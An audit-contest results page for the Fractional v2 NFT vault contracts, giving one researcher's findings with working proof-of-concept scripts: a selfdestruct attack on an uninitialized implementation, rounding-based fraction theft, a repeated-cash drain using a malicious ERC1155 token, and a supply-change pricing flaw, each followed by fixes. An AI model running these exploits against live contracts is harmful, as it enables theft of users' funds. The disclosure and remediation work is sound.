Fractional v2 contest - 0xA5DF's results

A collective ownership platform for NFTs on Ethereum.

General Information

Platform: Code4rena

Start Date: 07/07/2022

Pot Size: $75,000 USDC

Total HM: 32

Participants: 141

Period: 7 days

Judge: HardlyDifficult

Total Solo HM: 4

Id: 144

League: ETH

Fractional

Findings Distribution

Researcher Performance

Rank: 13/141

Findings: 7

Award: $1,920.97

🌟 Selected for report: 4

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: 0xA5DF

Also found by: 0x, 0xsanson, 242, Critical, sorrynotsorry, unforgiven, zzzitron

Labels

bug
3 (High Risk)
sponsor confirmed

Awards

267.7106 USDC - $267.71

External Links

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultFactory.sol#L19-L22 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L11-L25

Vulnerability details

This is a basic uninitialized proxy bug, the VaultFactory creates a single implementation of Vault and then creates a proxy to that implementation every time a new vault needs to be deployed.

The problem is that that implementation vault is not initialized , which means that anybody can initialize the contract to become the owner, and then destroy it by doing a delegate call (via the execute function) to a function with the selfdestruct opcode. Once the implementation is destroyed all of the vaults will be unusable. And since there's no logic in the proxies to update the implementation - that means this is permanent (i.e. there's no way to call any function on any vault anymore, they're simply dead).

Impact

This is a critical bug, since ALL assets held by ALL vaults will be lost. There's no way to transfer them out and there's no way to run any function on any vault.

Also, there's no way to fix the current deployed contracts (modules and registry), since they all depend on the factory vault, and there's no way to update them to a different factory. That means Fractional would have to deploy a new set of contracts after fixing the bug (this is a relatively small issue though).

Proof of Concept

I created the PoC based on the scripts/deploy.js file, here's a stripped-down version of that:

const { ethers } = require("hardhat");

const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";

async function main() {
    const [deployer, attacker] = await ethers.getSigners();

    // Get all contract factories
    const BaseVault = await ethers.getContractFactory("BaseVault");
    const Supply = await ethers.getContractFactory("Supply");
    const VaultRegistry = await ethers.getContractFactory("VaultRegistry");

    // Deploy contracts

    const registry = await VaultRegistry.deploy();
    await registry.deployed();

    const supply = await Supply.deploy(registry.address);
    await supply.deployed();

    // notice that the `factory` var in the original `deploy.js` file is a different factory than the registry's
    const registryVaultFactory = await ethers.getContractAt("VaultFactory", await registry.factory());

    const implVaultAddress = await registryVaultFactory.implementation();
    const vaultImpl = await ethers.getContractAt("Vault", implVaultAddress);

    const baseVault = await BaseVault.deploy(registry.address, supply.address);
    await baseVault.deployed();
    // proxy vault - the vault that's used by the user
    let proxyVault = await deployVault(baseVault, registry, attacker);

    const destructorFactory = await ethers.getContractFactory("Destructor");
    const destructor = await destructorFactory.deploy();


    let destructData = destructor.interface.encodeFunctionData("destruct", [attacker.address]);

    const abi = new ethers.utils.AbiCoder();
    const leafData = abi.encode(["address", "address", "bytes4"],
        [attacker.address, destructor.address, destructor.interface.getSighash("destruct")]);
    const leafHash = ethers.utils.keccak256(leafData);

    await vaultImpl.connect(attacker).init();

    await vaultImpl.connect(attacker).setMerkleRoot(leafHash);
    // we don't really need to do this ownership-transfer, because the contract is still usable till the end of the tx, but I'm doing it just in case
    await vaultImpl.connect(attacker).transferOwnership(ZERO_ADDRESS);

    // before: everything is fine
    let implVaultCode = await ethers.provider.getCode(implVaultAddress);
    console.log("Impl Vault code size before:", implVaultCode.length - 2); // -2 for the 0x prefix
    let owner = await proxyVault.owner();
    console.log("Proxy Vault works fine, owner is: ", owner);


    await vaultImpl.connect(attacker).execute(destructor.address, destructData, []);


    // after: vault implementation is destructed
    implVaultCode = await ethers.provider.getCode(implVaultAddress);
    console.log("\nVault code size after:", implVaultCode.length - 2); // -2 for the 0x prefix

    try {
        owner = await proxyVault.owner();
    } catch (e) {
        console.log("Proxy Vault isn't working anymore.", e.toString().substring(0, 300));
    }
}

async function deployVault(baseVault, registry, attacker) {
    const nodes = await baseVault.getLeafNodes();

    const tx = await registry.connect(attacker).create(nodes[0], [], []);
    const receipt = await tx.wait();

    const vaultEvent = receipt.events.find(e => e.address == registry.address);

    const newVaultAddress = vaultEvent.args._vault;
    const newVault = await ethers.getContractAt("Vault", newVaultAddress);
    return newVault;
}


if (require.main === module) {
    main()
}

Destructor.sol file:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

contract Destructor{
    function destruct(address payable dst) public {
        selfdestruct(dst);
    }
}

Output:

Impl Vault code size before: 10386 Proxy Vault works fine, owner is: 0x5FbDB2315678afecb367f032d93F642f64180aa3 Vault code size after: 0 Proxy Vault isn't working anymore. Error: call revert exception [ See: https://links.ethers.org/v5-errors-CALL_EXCEPTION ] (method="owner()", data="0x", errorArgs=null, errorName=null, errorSignature=null, reason=null, code=CALL_EXCEPTION, version=abi/5.6.2)

Sidenote: as the comment in the code says, we don't really need to transfer the ownership to the zero address. It's just that Foundry's forge did revert the destruction when I didn't do it, with the error of OwnerChanged (i.e. once the selfdestruct was called the owner became the zero address, which is different than the original owner) so I decided to add this just in case. This is probably a bug in forge, since the contract shouldn't destruct till the end of the tx (Hardhat indeed didn't revert the destruction even when the attacker was the owner).

Tools Used

Hardhat

Add init in Vault's constructor (and make the init function public instead of external):

contract Vault is IVault, NFTReceiver {
    /// @notice Address of vault owner
    address public owner;
    /// ...

    constructor(){
        // initialize implementation
        init();
    }

    /// @dev Initializes nonce and proxy owner
    function init() public {

Alternately you can add init in VaultFactory.sol constructor, but I think initializing in the contract itself is a better practice.

    /// @notice Initializes implementation contract
    constructor() {
        implementation = address(new Vault());
        Vault(implementation).init();
    }

After mitigation the PoC will output this:

Error: VM Exception while processing transaction: reverted with custom error 'Initialized("0xa16E02E87b7454126E5E10d957A927A7F5B5d2be", "0x70997970C51812dc3A010C7d01b50e0d17dc79C8", 1)' at Vault._execute (src/Vault.sol:124) at Vault.init (src/Vault.sol:24) at HardhatNode._mineBlockWithPendingTxs ....

#0 - stevennevins

2022-07-19T15:06:50Z

Acknowledging the severity of this and will fix it. Thank you for reporting @0xA5DF

#1 - HardlyDifficult

2022-07-26T14:14:25Z

Agree this is High risk. If this had gone unnoticed for a period of time, then later self destructing the implementation contract would brick all vaults and lose funds for potentially many users.

Findings Information

🌟 Selected for report: 0xA5DF

Also found by: 0x52, Lambda, exd0tpy, horsefacts, hyh, kenzo, minhquanym, panprog, scaraven, shenwilly, simon135

Labels

bug
3 (High Risk)

Awards

117.0966 USDC - $117.10

External Links

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L88

Vulnerability details

Impact

Divisions in EVM are rounded down, which means when the fraction price is close to 1 (e.g. 0.999) it would effectively be zero, when it's close to 2 (1.999) it would be rounded to 1 - loosing close to 50% of the intended price.

  • In case the proposer had any fractions, the buyout module puts them for sale and he can loose his fractions while getting in exchange either zero or a significantly lower price than intended
  • Even when the proposer doesn't hold any fractions, if the buyout succeeds - the difference (i.e. buyoutPrice - fractionPrice*totalSupply) goes to those who cash out their fractions after the buyout ends.
    • That's going to disincentivize users to sell their fractions during the buyout, because they may get more if they keep it till the buyout ends.
    • In other words, not only that the extra money the proposer paid doesn't increase the chance of the buyout to succeed, it actually decreases it.

Proof of Concept

I've added the following tests to test/Buyout.t.sol.


    // add Eve to the list of users 
    function setUp() public {
        setUpContract();
        alice = setUpUser(111, 1);
        bob = setUpUser(222, 2);
        eve = setUpUser(333, 3);

        vm.label(address(this), "BuyoutTest");
        vm.label(alice.addr, "Alice");
        vm.label(bob.addr, "Bob");
        vm.label(eve.addr, "Eve");
    }

    ///////////////////////////////////

    // a scenario where the price is zero, and the proposer ends up loosing all his fractions 
    function test_bugFractionPriceIsZero() public{
        uint totalSupply = 21e17;
        uint BOB_INITIAL_BALANCE = totalSupply / 2;
        initializeBuyout(alice, bob, totalSupply, BOB_INITIAL_BALANCE, true);

        // Bob starts a buyout with 1 ether for the other half of total fractions
        bob.buyoutModule.start{value: 1 ether}(vault);

        eve.buyoutModule.buyFractions{value: 0}(vault, BOB_INITIAL_BALANCE);

        // Eve got all Bob's fractions for the very tempting price of 0
        assertEq(getFractionBalance(eve.addr), BOB_INITIAL_BALANCE);
    }


    ////////////////////////////////

    // a scenario where the price is 1, and the fraction price ends up being 
    // 50% of intended price.
    // The user who cashes his fractions after the sale gets the difference (0.9 ether in this case).
    function test_bugFractionPriceIsOne() public{
        uint totalSupply = 11e17;
        uint BOB_INITIAL_BALANCE = totalSupply / 10;
        initializeBuyout(alice, bob, totalSupply, BOB_INITIAL_BALANCE, true);

        uint aliceFractionBalance =  totalSupply * 9 / 10;
        uint256 buyoutPrice = 2 ether;
        uint256 fractionPrice = buyoutPrice / totalSupply;
        assertEq(fractionPrice, 1);

        // We need to approve the buyout even though Eve doesn't hold any fractions
        eve.ferc1155 = new FERC1155BS(address(0), 333, token);
        setApproval(eve, buyout, true);

        eve.buyoutModule.start{value: buyoutPrice}(vault);
        // alice selling all her fractions
        alice.buyoutModule.sellFractions(vault, aliceFractionBalance);

        // 4 days till buyout ends
        vm.warp(block.timestamp + 4.1 days);

        bob.buyoutModule.end(vault, burnProof);

        bob.buyoutModule.cash(vault, burnProof);

        // Alice revenue should be about 0.99 ether
        uint256 aliceExpectedETHRevenue = fractionPrice * aliceFractionBalance;
        // Bob revenue should be about 1.01 ether
        uint256 bobExpectedETHRevenue = buyoutPrice - aliceExpectedETHRevenue;

        // Bob earned more than Alice even though Alice had 9 times his fractions
        // This means Bob got ~9 times ETH per fraction than Alice
        assertTrue(bobExpectedETHRevenue > aliceExpectedETHRevenue);
        
        // Just make sure they have the expected balance
        assertEq(getETHBalance(alice.addr), aliceExpectedETHRevenue + INITIAL_BALANCE);
        assertEq(getETHBalance(bob.addr), bobExpectedETHRevenue + INITIAL_BALANCE);

    }

Tools Used

Foundry

Solution A: make sure buyoutPrice = fractionPrice * totalSupply
  • Request the user to send the intended fraction price (as a function arg) and then make sure he sent enough ETH. This way the user is well aware of the fraction price.
  • An advantage of this method is that the buyout price calculation is also more accurate (compared to (msg.value * 100) /(100 - ((depositAmount * 100) / totalSupply)) which has a rounding of up to 1%)
  • Optional - you can also refund the user if he sent too much ETH, though this is probably unnecessary since the UI should calculate the exact amount the user should send.

Proposed code for solution A:

     /// @param _vault Address of the vault
-    function start(address _vault) external payable {
+    function start(address _vault, uint256 _fractionPrice) external payable {
         // Reverts if ether deposit amount is zero
         if (msg.value == 0) revert ZeroDeposit();
         // Reverts if address is not a registered vault
@@ -66,6 +66,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         (, , State current, , , ) = this.buyoutInfo(_vault);
         State required = State.INACTIVE;
         if (current != required) revert InvalidState(required, current);
+        if (fractionPrice == 0) revert ZeroFractionPrice();
 
@@ -83,9 +84,10 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
 
         // Calculates price of buyout and fractions
         // @dev Reverts with division error if called with total supply of tokens
-        uint256 buyoutPrice = (msg.value * 100) /
-            (100 - ((depositAmount * 100) / totalSupply));
-        uint256 fractionPrice = buyoutPrice / totalSupply;
+        uint256 fractionPrice = _fractionPrice;
+        uint256 buyoutPrice = fractionPrice * totalSupply;
+        uint256 requiredEth = fractionPrice * (totalSupply - depositAmount);
+        if (msg.value != requiredEth) revert InvalidPayment();
 
         // Sets info mapping of the vault address to auction struct
Solution B: Calculate the price at buy/sell time using buyoutPrice
  • The problem with solution A is that it doesn't let much flexibility in case that total supply is large. In the example in the PoC (totalSupply = 2.1e18) the buyout price can be either 2.1 ETH or 4.2 ETH, if the user wants to offer 1.5 ETH or 3 ETH he can't do it.
  • This solution solves this - instead of basing the buy/sell price on the fraction price - use the buyout price to calculate the buy/sell price.
  • This would cause a slight differential price (buying 1K fractions would have a slightly different price than 1M fractions).
    • However, note that the rounding here is probably insignificant, since the rounding would be no more than 1 wei per buy/sell
    • Also, the more the users buy/sell the more accurate the price would be (the less you buy the more you'll pay, the less you sell the less you'd get).
  • For selling just calculate price = (buyoutPrice * amount) / totalSupply
  • For buying do the same, just add 1 wei if there was any rounding (see code below)
  • If you're worried about the rounding of the buyout price (compared to solution A), you can increase the coefficient (this doesn't cost any extra gas, and is nearly impossible to overflow): (ethDeposit * 1e6) / (1e6 - ((fractionDeposit * 1e6) / totalSupply))

Proposed code for solution B:

--- a/src/interfaces/IBuyout.sol
+++ b/src/interfaces/IBuyout.sol
@@ -20,7 +20,7 @@ struct Auction {
     // Enum state of the buyout auction
     State state;
     // Price of fractional tokens
-    uint256 fractionPrice;
+    uint256 buyoutPrice;
     // Balance of ether in buyout pool
     uint256 ethBalance;
     // Total supply recorded before a buyout started


--- a/src/modules/Buyout.sol
+++ b/src/modules/Buyout.sol
@@ -85,14 +85,14 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         // @dev Reverts with division error if called with total supply of tokens
         uint256 buyoutPrice = (msg.value * 100) /
             (100 - ((depositAmount * 100) / totalSupply));
-        uint256 fractionPrice = buyoutPrice / totalSupply;
+        uint256 estimatedFractionPrice = buyoutPrice / totalSupply;
 
         // Sets info mapping of the vault address to auction struct
         buyoutInfo[_vault] = Auction(
             block.timestamp,
             msg.sender,
             State.LIVE,
-            fractionPrice,
+ // replace fraction price with buyout price in the Auction struct
+            buyoutPrice,
             msg.value,
             totalSupply
         );
@@ -102,7 +102,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             msg.sender,
             block.timestamp,
             buyoutPrice,
-            fractionPrice
+            estimatedFractionPrice
         );
     }
 
@@ -115,7 +115,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             _vault
         );
         if (id == 0) revert NotVault(_vault);
-        (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
+        (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 totalSupply ) = this
             .buyoutInfo(_vault);
         // Reverts if auction state is not live
         State required = State.LIVE;
@@ -135,7 +135,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );
 
         // Updates ether balance of pool
-        uint256 ethAmount = fractionPrice * _amount;
+        uint256 ethAmount = buyoutPrice * _amount / totalSupply;
         buyoutInfo[_vault].ethBalance -= ethAmount;
         // Transfers ether amount to caller
         _sendEthOrWeth(msg.sender, ethAmount);
@@ -153,7 +153,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );
         if (id == 0) revert NotVault(_vault);
         // Reverts if auction state is not live
-        (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
+        (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 totalSupply ) = this
             .buyoutInfo(_vault);
         State required = State.LIVE;
         if (current != required) revert InvalidState(required, current);
@@ -161,8 +161,13 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         uint256 endTime = startTime + REJECTION_PERIOD;
         if (block.timestamp > endTime)
             revert TimeExpired(block.timestamp, endTime);
+
+        uint256 price = (buyoutPrice * _amount) / totalSupply;
+        if (price * totalSupply < buyoutPrice * _amount){
+            price++;
+        }
         // Reverts if payment amount does not equal price of fractional amount
-        if (msg.value != fractionPrice * _amount) revert InvalidPayment();
+        if (msg.value != price) revert InvalidPayment();
 
         // Transfers fractional tokens to caller
         IERC1155(token).safeTransferFrom(

#0 - 0x0aa0

2022-07-21T17:17:28Z

Duplicate of #647

#1 - HardlyDifficult

2022-08-01T23:33:19Z

Rounding impacting fractionPrice can significantly impact other math in this module. I think this is a High risk issue, given the right circumstances such as the example above where the buy price becomes zero, assets are compromised.

Selecting this instance as the primary issue for including test code and the detailed recs.

Awards

41.4866 USDC - $41.49

Labels

bug
duplicate
3 (High Risk)

External Links

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L267-L270

Vulnerability details

The Buyout module manages the balance of each vault separately, updating each vault's balance when somebody sends/withdraws from it. However, the function Buyout.cash doesn't update the ethBalance after sending eth to a user. That means that if 2 or more users cash their fractions the last ones will get more than their share at the expense of the Buyout module (i.e. at the expense of other buyouts that are running). A well planned attack can withdraw ~1/4 of the investment (i.e. the buyout the attacker starts) each tx.

A more efficient way (~1/2 of the investment per tx) to exploit this bug would be using a malicious token (using a separate low bug, which allows to register a malicious token) as demonstrated in the second PoC.

Impact

All of the balance of the Buyout module (which can hold the balance for multiple buyouts of different vaults at the same time) can be drained by an attacker.

Proof of Concept

In the following test (added to test/Buyout.t.sol) Bob & Alice were able to steal almost the entire balance of the buyout module.

 
    function test_bugCashInParts() public {
        uint256 TOTAL_SUPPLY = 1e12;
        initializeBuyout(alice, bob, TOTAL_SUPPLY, 0, true);

        // simulate buyout balance growing by other buyouts starting
        uint256 buyoutIncomeFromOtherBuyouts = 10 ether;
        vm.deal(buyout, buyoutIncomeFromOtherBuyouts);
        uint256 buyoutPrice = 1 ether;

        // Eve start a buyout and Alice sells 51% of fractions to the buyuot
        eve.buyoutModule.start{value: buyoutPrice}(vault);
        alice.buyoutModule.sellFractions(vault,TOTAL_SUPPLY * 51 / 100);

        // let 4+ days pass, and end the buyout
        vm.warp(block.timestamp + 4.1 days);
        bob.buyoutModule.end(vault, burnProof);

        (address token, uint256 id) = registry.vaultToToken(vault);

        alice.ferc1155 = new FERC1155BS(address(0), 111, token);

        alice.ferc1155.setApprovalForAll(alice.addr,true);
        uint256 aliceBalance = getFractionBalance(alice.addr);


        // Alice hold most of the fractions, she'll cash first and then Bob
        while(aliceBalance > 0){
            uint toSend = aliceBalance - (aliceBalance / 2);
            alice.ferc1155.safeTransferFrom(alice.addr, bob.addr, id, toSend, "");
            bob.buyoutModule.cash(vault, burnProof);
            aliceBalance = getFractionBalance(alice.addr);
        }


        // the revenue Bob and Alice should have if there was no bug
        uint256 expectedRevenue = buyoutPrice;
        // the revenue Bob and Alice actually made
        uint256 actualRevenue =  getETHBalance(bob.addr) +  getETHBalance(alice.addr) - 2 * INITIAL_BALANCE;
        // estimated amount of ETH stolen by Alice & Bob
        uint256 ethStolen = 9.4 ether;
        
        // assert that the amount stolen is reflected in the balances
        assertLt(getETHBalance(buyout), buyoutIncomeFromOtherBuyouts - ethStolen);
        assertGt(actualRevenue, expectedRevenue + ethStolen);
    }

Another way to steal is to use a malicious token, this is more efficient since we can steal ~1/2 of the investment each tx.

const { ethers } = require("hardhat");
const hre = require("hardhat");
const {getContracts} = require("./deploy");

const TOTAL_SUPPLY =10000;

async function setUpMaliciousFERC1155(mintTo, registry, deployer, merkleRoot)  {
    
    let maliciousTokenDeployer = await ethers.getContractFactory("MaliciousFERC1155");
    let maliciousToken = await maliciousTokenDeployer.deploy();
    await maliciousToken.changeController(deployer.address);

    let tx = await registry.connect(deployer).createInCollection(merkleRoot, maliciousToken.address, [],[]);
    let receipt = await tx.wait();
    let maliciousVault = receipt.events.filter(x => x.event == "VaultDeployed")[0].args._vault;
    let [token, id] = await registry.vaultToToken(maliciousVault);
    await maliciousToken.freeMint(mintTo, id, TOTAL_SUPPLY, "0x");
    return [maliciousVault, maliciousToken, id];
}

async function main()  {

    let [bob, alice, eve] = await ethers.getSigners();
    let contracts = await getContracts();
    
    let leafs =  await contracts.Buyout.getLeafNodes();
    let merkleRoot = await contracts.BaseVault.getRoot(leafs);
    let burnLeafIndex = 0;
    let burnProof = await contracts.BaseVault.getProof(leafs, burnLeafIndex);


    let bobInitialBalance =  await bob.getBalance();

    let [malVault,  malToken,  malID] = await setUpMaliciousFERC1155(bob.address, contracts.VaultRegistry, bob, merkleRoot);
    // simulate buyout balance growing by other buyouts starting
    let buyoutIncomeFromOtherBuyouts = ethers.utils.parseEther("10");
    await network.provider.send("hardhat_setBalance", [
        contracts.Buyout.address,
        buyoutIncomeFromOtherBuyouts._hex.replace(/0x0+/, "0x"),
      ]);

 
    
    let buyoutPrice = ethers.utils.parseEther("1");
    await contracts.Buyout.connect(eve).start(malVault, {value: buyoutPrice});

    await contracts.Buyout.connect(bob).sellFractions(malVault, TOTAL_SUPPLY * 60 / 100);

    let fourPlusDays = 5 * 24 * 60 * 60;
    await network.provider.send("evm_increaseTime", [fourPlusDays])


    await contracts.Buyout.connect(eve).end(malVault, burnProof);
    
    for(let i = 0; i < 26; i++){
        await contracts.Buyout.connect(bob).cash(malVault, burnProof);
        
        await malToken.freeMint(bob.address, malID,  TOTAL_SUPPLY , "0x");
    }

    let bobBalance =  await bob.getBalance();
    let bobAddedBalance = bobBalance.sub(bobInitialBalance);
    let bobAddedBalanceEther = ethers.utils.formatEther(bobAddedBalance);
    console.log(`Bob's  added balance: ${bobAddedBalanceEther} ETH`);
}


if (require.main === module) {
    main();
}

Output - Bob's added balance: 10.99 ETH (i.e. Bob stole 9.99 ETH)

Code for MaliciousFERC1155 contract used above.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;


import "../FERC1155.sol";

import {IBuyout} from "../interfaces/IBuyout.sol";

/// @title FERC1155
/// @author Fractional Art
/// @notice An ERC-1155 implementation for Fractions
contract MaliciousFERC1155 is FERC1155 {


     function safeTransferFrom(
        address _from,
        address _to,
        uint256 _id,
        uint256 _amount,
        bytes memory _data
    ) public virtual override(FERC1155) {
        // require(
        //     msg.sender == _from ||
        //         isApprovedForAll[_from][msg.sender] ||
        //         isApproved[_from][msg.sender][_id],
        //     "NOT_AUTHORIZED"
        // );


        balanceOf[_from][_id] -= _amount;
        balanceOf[_to][_id] += _amount;

        emit TransferSingle(msg.sender, _from, _to, _id, _amount);

        require(
            _to.code.length == 0
                ? _to != address(0)
                : INFTReceiver(_to).onERC1155Received(
                    msg.sender,
                    _from,
                    _id,
                    _amount,
                    _data
                ) == INFTReceiver.onERC1155Received.selector,
            "UNSAFE_RECIPIENT"
        );
    }

        /// @notice Updates the controller address for the FERC1155 token contract
    /// @param _newController Address of new controlling entity
    function changeController(address _newController)
        external
    {
        if (_newController == address(0)) revert ZeroAddress();
        _controller = _newController;
        emit ControllerTransferred(_newController);
    }

    function freeMint(
        address _to,
        uint256 _id,
        uint256 _amount,
        bytes memory _data
    ) external {
        _mint(_to, _id, _amount, _data);
        totalSupply[_id] += _amount;
    }

     function burn(
        address _from,
        uint256 _id,
        uint256 _amount
    ) external override {
        _burn(_from, _id, _amount);
        totalSupply[_id] -= _amount;
    }

}

Tools Used

Foundry, Hardhat

Update the balance before sending the buyoutShare

         uint256 buyoutShare = (tokenBalance * ethBalance) /
             (totalSupply + tokenBalance);
+        buyoutInfo[_vault].ethBalance -= buyoutShare;
         _sendEthOrWeth(msg.sender, buyoutShare);
         // Emits event for cashing out of buyout pool

#0 - ecmendenhall

2022-07-15T02:53:48Z

Findings Information

🌟 Selected for report: 0xA5DF

Labels

bug
2 (Med Risk)

Awards

1343.3192 USDC - $1,343.32

External Links

Lines of code

Lines: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L118-L138 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L156-L165

Vulnerability details

In the buyout module when a buyout starts - the module stores the fractionPrice, and when a user wants to buy/sell fractions the fractionPrice is loaded from storage and based on that the module determines the price of the fractions. The issue here is that the total supply might change between the time the buyout start till the buy/sell time, and the fractionPrice stored in the module might not represent the real price anymore.

Currently there are no module that mint/burn supply at the time of buyout, but considering that Fractional is an extendible platform - Fractional might add one or a user might create his own module and create a vault with it. An example of an innocent module that can change the total supply - a split module, this hypothetical module may allow splitting a coin (multiplying the balance of all users by some factor, based on a vote by the holders, the same way QuickSwap did at March)). If that module is used in the middle of the buyout, that fraction price would still be based on the old supply.

Impact

  • Buyout proposer can end up paying the entire buyout price, but ending up with only part of the vault.
  • Users may end up buying fractions for more than they're really worth (if they're unaware of the change in total supply).
  • Users may end up getting a lower price than intended while selling their fractions (in case of a burn).

Proof of Concept

Consider the following scenario

  • Alice creates a vault with a 'split' module
  • Bob starts a buyout for the price of 1 ETH
  • Alice runs the split modules twice (making the total supply 4 times the original supply) and then sells 25% of her fractions.
  • Bob lost his 1 ETH and got in exchange only 25% of the fractions.

Here's a test (added to the test/Buyout.t.sol file) demonstrating this scenario (test passes = the bug exists).

    function testSplit_bug() public {
        initializeBuyout(alice, bob, TOTAL_SUPPLY, 0, true);

        // Bob proposes a buyout for 1 ether for the entire vault
        uint buyoutPrice = 1 ether;
        bob.buyoutModule.start{value: buyoutPrice}(vault);

        // simulate a x4 split
        // Alice is the only holder so we need to multiply only her balance x4
        bytes memory data = abi.encodeCall(
            Supply.mint,
            (alice.addr, TOTAL_SUPPLY * 3)
        );
        address supply = baseVault.supply();
        Vault(payable(vault)).execute(supply, data, new bytes32[](0));

        // Alice now sells only 1/4 of the total supply 
        // (TOTAL_SUPPLY is now 1/4 of the actual total supply)
        alice.buyoutModule.sellFractions(vault, TOTAL_SUPPLY);

        // Alice got 1 ETH and still holds 3/4 of the vault's fractions
        assertEq(getETHBalance(alice.addr), buyoutPrice + INITIAL_BALANCE);
        assertEq(getFractionBalance(alice.addr), TOTAL_SUPPLY * 3);

    }

Trying to create a proof for minting was too much time-consuming, so I just disabled the proof check in Vault.execute in order to simulate the split:

        // if (!MerkleProof.verify(_proof, merkleRoot, leaf)) {
        //     if (msg.sender != owner)
        //         revert NotAuthorized(msg.sender, _target, selector);
        // }

Tools Used

Foundry

Calculate fraction price at the time of buy/sell according to the current total supply: (Disclosure: this is based on a solution I made for a different bug)

  • This can still cause an issue if a user is unaware of the new fraction price, and will be selling his fractions for less than expected. Therefore, you'd might want to revert if the total supply has changed, while adding functionality to update the lastTotalSupply - this way there's an event notifying about the fraction-price change before the user buys/sells.
diff --git a/src/interfaces/IBuyout.sol b/src/interfaces/IBuyout.sol
index 0e1c9eb..79beb71 100644
--- a/src/interfaces/IBuyout.sol
+++ b/src/interfaces/IBuyout.sol
@@ -20,7 +20,7 @@ struct Auction {
     // Enum state of the buyout auction
     State state;
     // Price of fractional tokens
-    uint256 fractionPrice;
+    uint256 buyoutPrice;
     // Balance of ether in buyout pool
     uint256 ethBalance;
     // Total supply recorded before a buyout started
diff --git a/src/modules/Buyout.sol b/src/modules/Buyout.sol
index 1557233..d9a6935 100644
--- a/src/modules/Buyout.sol
+++ b/src/modules/Buyout.sol
@@ -63,10 +63,13 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );
         if (id == 0) revert NotVault(_vault);
         // Reverts if auction state is not inactive
-        (, , State current, , , ) = this.buyoutInfo(_vault);
+        (, , State current, , ,uint256 lastTotalSupply) = this.buyoutInfo(_vault);
         State required = State.INACTIVE;
         if (current != required) revert InvalidState(required, current);
 
+        if(totalSupply != lastTotalSupply){
+            // emit event / revert / whatever 
+        }
         // Gets total supply of fractional tokens for the vault
         uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
         // Gets total balance of fractional tokens owned by caller
@@ -85,14 +88,14 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         // @dev Reverts with division error if called with total supply of tokens
         uint256 buyoutPrice = (msg.value * 100) /
             (100 - ((depositAmount * 100) / totalSupply));
-        uint256 fractionPrice = buyoutPrice / totalSupply;
+        uint256 fractionEstimatedPrice = buyoutPrice / totalSupply;
 
         // Sets info mapping of the vault address to auction struct
         buyoutInfo[_vault] = Auction(
             block.timestamp,
             msg.sender,
             State.LIVE,
-            fractionPrice,
+            buyoutPrice,
             msg.value,
             totalSupply
         );
@@ -102,7 +105,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             msg.sender,
             block.timestamp,
             buyoutPrice,
-            fractionPrice
+            fractionEstimatedPrice
         );
     }
 
@@ -115,8 +118,9 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             _vault
         );
         if (id == 0) revert NotVault(_vault);
-        (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
+        (uint256 startTime, , State current, uint256 buyoutPrice, ,  ) = this
             .buyoutInfo(_vault);
+        uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
         // Reverts if auction state is not live
         State required = State.LIVE;
         if (current != required) revert InvalidState(required, current);
@@ -135,7 +139,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );
 
         // Updates ether balance of pool
-        uint256 ethAmount = fractionPrice * _amount;
+        uint256 ethAmount = buyoutPrice * _amount / totalSupply;
         buyoutInfo[_vault].ethBalance -= ethAmount;
         // Transfers ether amount to caller
         _sendEthOrWeth(msg.sender, ethAmount);
@@ -153,16 +157,27 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         );
         if (id == 0) revert NotVault(_vault);
         // Reverts if auction state is not live
-        (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
+        (uint256 startTime, , State current, uint256 buyoutPrice, , uint256 lastTotalSupply ) = this
             .buyoutInfo(_vault);
+        uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
+        
+        if(totalSupply != lastTotalSupply){
+            // emit event / revert / whatever 
+        }
+
         State required = State.LIVE;
         if (current != required) revert InvalidState(required, current);
         // Reverts if current time is greater than end time of rejection period
         uint256 endTime = startTime + REJECTION_PERIOD;
         if (block.timestamp > endTime)
             revert TimeExpired(block.timestamp, endTime);
+
+        uint256 price = (buyoutPrice * _amount) / totalSupply;
+        if (price * totalSupply < buyoutPrice * _amount){
+            price++;
+        }
         // Reverts if payment amount does not equal price of fractional amount
-        if (msg.value != fractionPrice * _amount) revert InvalidPayment();
+        if (msg.value != price) revert InvalidPayment();
 

